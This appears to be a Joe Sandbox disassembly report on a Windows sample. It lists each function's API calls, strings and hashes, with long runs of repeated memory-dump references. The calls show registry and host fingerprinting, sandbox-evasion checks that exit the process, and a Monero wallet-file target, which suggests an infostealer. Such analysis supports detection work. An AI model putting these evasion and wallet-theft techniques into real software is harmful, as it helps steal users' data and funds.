Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: ceaa4a4b2ec8893312ed7e4c9e115d0528a0dadd0c4f47a4867b78f63312e95e
Instruction ID: d93887bb8ec51c2303d30a9853def365b19c851cd73fc427f9dfbf4e84822104
Opcode Fuzzy Hash: ceaa4a4b2ec8893312ed7e4c9e115d0528a0dadd0c4f47a4867b78f63312e95e
Instruction Fuzzy Hash: 4A31F5B4A00218ABDB20CF54DC89BDDB7B5FB48705F1081D9EA09A7281DB746AC5CF99

Function 000783DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00078426
wsprintfA.USER32 ref: 00078459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0007847B
RegCloseKey.ADVAPI32(00000000), ref: 0007848C
RegCloseKey.ADVAPI32(00000000), ref: 00078499

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

RegQueryValueExA.KERNEL32(00000000,00D7D890,00000000,000F003F,?,00000400), ref: 000784EC
lstrlen.KERNEL32(?), ref: 00078501
RegQueryValueExA.KERNEL32(00000000,00D7D9F8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00080B34), ref: 00078599
RegCloseKey.KERNEL32(00000000), ref: 00078608
RegCloseKey.ADVAPI32(00000000), ref: 0007861A

Strings

%s\%s, xrefs: 0007844D

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 1e1465b91176c68046e6e5e5b49dc32d06dad8339979af8646725192a1ad57ca
Instruction ID: 18c3a03e4410dfe41b4a783ee2707d88f7624e34b52cfaaa78a7a91a3be8ec46
Opcode Fuzzy Hash: 1e1465b91176c68046e6e5e5b49dc32d06dad8339979af8646725192a1ad57ca
Instruction Fuzzy Hash: 7921D671A50218ABDB64DB54DC89FE9B3B8FF48700F00C599A609A6140DF756A85CFA4

Function 00077690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 000776A4
RtlAllocateHeap.NTDLL(00000000), ref: 000776AB
RegOpenKeyExA.KERNEL32(80000002,00D6B738,00000000,00020119,00000000), ref: 000776DD
RegQueryValueExA.KERNEL32(00000000,00D7DA70,00000000,00000000,?,000000FF), ref: 000776FE
RegCloseKey.ADVAPI32(00000000), ref: 00077708

Strings

Windows 11, xrefs: 000776BD

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 2b3fded92412c43bd169c18263896e5d2bde88f1f80328ed2e39f44972e8388f
Instruction ID: 7c390ea9a771fdf4101ff50f324ffa96eeffbd7fcd05b68daa228db962fd92bc
Opcode Fuzzy Hash: 2b3fded92412c43bd169c18263896e5d2bde88f1f80328ed2e39f44972e8388f
Instruction Fuzzy Hash: 27014FB5A04208BFDB00DBE4EC4DFAEB7B8EF49701F108494FA0997291DB789904CB55

Function 00077720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00077734
RtlAllocateHeap.NTDLL(00000000), ref: 0007773B
RegOpenKeyExA.KERNEL32(80000002,00D6B738,00000000,00020119,000776B9), ref: 0007775B
RegQueryValueExA.KERNEL32(000776B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0007777A
RegCloseKey.ADVAPI32(000776B9), ref: 00077784

Strings

CurrentBuildNumber, xrefs: 00077771

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: fdb858431a854cecda5f24db568d159c740ddfc2d7768d481ebc6394a5b10937
Instruction ID: b2ed7011347c5221439fa9b82279a05418f1293966c5301141060acb53091edc
Opcode Fuzzy Hash: fdb858431a854cecda5f24db568d159c740ddfc2d7768d481ebc6394a5b10937
Instruction Fuzzy Hash: 8801E1B5A40208BFDB40DBE4EC4DFAEB7B8EF48701F104555FA05A6281DB745904CB52

Function 000769F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00079860: GetProcAddress.KERNEL32(75900000,00D70750), ref: 000798A1
Part of subcall function 00079860: GetProcAddress.KERNEL32(75900000,00D70690), ref: 000798BA
Part of subcall function 00079860: GetProcAddress.KERNEL32(75900000,00D70618), ref: 000798D2
Part of subcall function 00079860: GetProcAddress.KERNEL32(75900000,00D70558), ref: 000798EA
Part of subcall function 00079860: GetProcAddress.KERNEL32(75900000,00D70768), ref: 00079903
Part of subcall function 00079860: GetProcAddress.KERNEL32(75900000,00D78940), ref: 0007991B
Part of subcall function 00079860: GetProcAddress.KERNEL32(75900000,00D66940), ref: 00079933
Part of subcall function 00079860: GetProcAddress.KERNEL32(75900000,00D667A0), ref: 0007994C
Part of subcall function 00079860: GetProcAddress.KERNEL32(75900000,00D70630), ref: 00079964
Part of subcall function 00079860: GetProcAddress.KERNEL32(75900000,00D70570), ref: 0007997C
Part of subcall function 00079860: GetProcAddress.KERNEL32(75900000,00D70798), ref: 00079995
Part of subcall function 00079860: GetProcAddress.KERNEL32(75900000,00D706C0), ref: 000799AD
Part of subcall function 00079860: GetProcAddress.KERNEL32(75900000,00D666C0), ref: 000799C5
Part of subcall function 00079860: GetProcAddress.KERNEL32(75900000,00D706A8), ref: 000799DE

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 000611D0: ExitProcess.KERNEL32 ref: 00061211

Part of subcall function 00061160: GetSystemInfo.KERNEL32(?), ref: 0006116A
Part of subcall function 00061160: ExitProcess.KERNEL32 ref: 0006117E

Part of subcall function 00061110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0006112B
Part of subcall function 00061110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00061132
Part of subcall function 00061110: ExitProcess.KERNEL32 ref: 00061143

Part of subcall function 00061220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0006123E
Part of subcall function 00061220: __aulldiv.LIBCMT ref: 00061258
Part of subcall function 00061220: __aulldiv.LIBCMT ref: 00061266
Part of subcall function 00061220: ExitProcess.KERNEL32 ref: 00061294

Part of subcall function 00076770: GetUserDefaultLangID.KERNEL32 ref: 00076774

Part of subcall function 00061190: ExitProcess.KERNEL32 ref: 000611C6

Part of subcall function 00077850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,000611B7), ref: 00077880
Part of subcall function 00077850: RtlAllocateHeap.NTDLL(00000000), ref: 00077887
Part of subcall function 00077850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0007789F

Part of subcall function 000778E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00077910
Part of subcall function 000778E0: RtlAllocateHeap.NTDLL(00000000), ref: 00077917
Part of subcall function 000778E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0007792F

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00D78930,?,0008110C,?,00000000,?,00081110,?,00000000,00080AEF), ref: 00076ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00076AE8
CloseHandle.KERNEL32(00000000), ref: 00076AF9
Sleep.KERNEL32(00001770), ref: 00076B04
CloseHandle.KERNEL32(?,00000000,?,00D78930,?,0008110C,?,00000000,?,00081110,?,00000000,00080AEF), ref: 00076B1A
ExitProcess.KERNEL32 ref: 00076B22

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 583bbe3c40251c437890f2c4309441ba87e0f7e4cbcc89e7d107930cc5fdb963
Instruction ID: 7d8711dcc60e8292541fe4440479850fe615c54a6b2166db110b30563a7e18a7
Opcode Fuzzy Hash: 583bbe3c40251c437890f2c4309441ba87e0f7e4cbcc89e7d107930cc5fdb963
Instruction Fuzzy Hash: 1F31EE71E00108ABDB44F7B0EC56AEE7779AF46740F108518F21AA6193DF785905CAAB

Function 000699C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000699EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00069A11
LocalAlloc.KERNEL32(00000040,?), ref: 00069A31
ReadFile.KERNEL32(000000FF,?,00000000,0006148F,00000000), ref: 00069A5A
LocalFree.KERNEL32(0006148F), ref: 00069A90
CloseHandle.KERNEL32(000000FF), ref: 00069A9A

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: f1e7e1f2234773ba7ddfea978304b52666add16f85162eb2efe2f237af8f3410
Instruction ID: e066b43dd1698c41ffc12fa03f1d61187ac51075581e820218065ac1ea196767
Opcode Fuzzy Hash: f1e7e1f2234773ba7ddfea978304b52666add16f85162eb2efe2f237af8f3410
Instruction Fuzzy Hash: 59312A74A00209EFDB14CF94D889BAEB7F9FF49300F108158E911A7390DB78A941CFA2

Function 00074780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00D7DCC8), ref: 000747DB

Part of subcall function 00078DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00078E0B

lstrcat.KERNEL32(?,00000000), ref: 00074801
lstrcat.KERNEL32(?,?), ref: 00074820
lstrcat.KERNEL32(?,?), ref: 00074834
lstrcat.KERNEL32(?,00D6AEB0), ref: 00074847
lstrcat.KERNEL32(?,?), ref: 0007485B
lstrcat.KERNEL32(?,00D7D5D8), ref: 0007486F

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 00078D90: GetFileAttributesA.KERNEL32(00000000,?,00061B54,?,?,0008564C,?,?,00080E1F), ref: 00078D9F

Part of subcall function 00074570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00074580
Part of subcall function 00074570: RtlAllocateHeap.NTDLL(00000000), ref: 00074587
Part of subcall function 00074570: wsprintfA.USER32 ref: 000745A6
Part of subcall function 00074570: FindFirstFileA.KERNEL32(?,?), ref: 000745BD

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
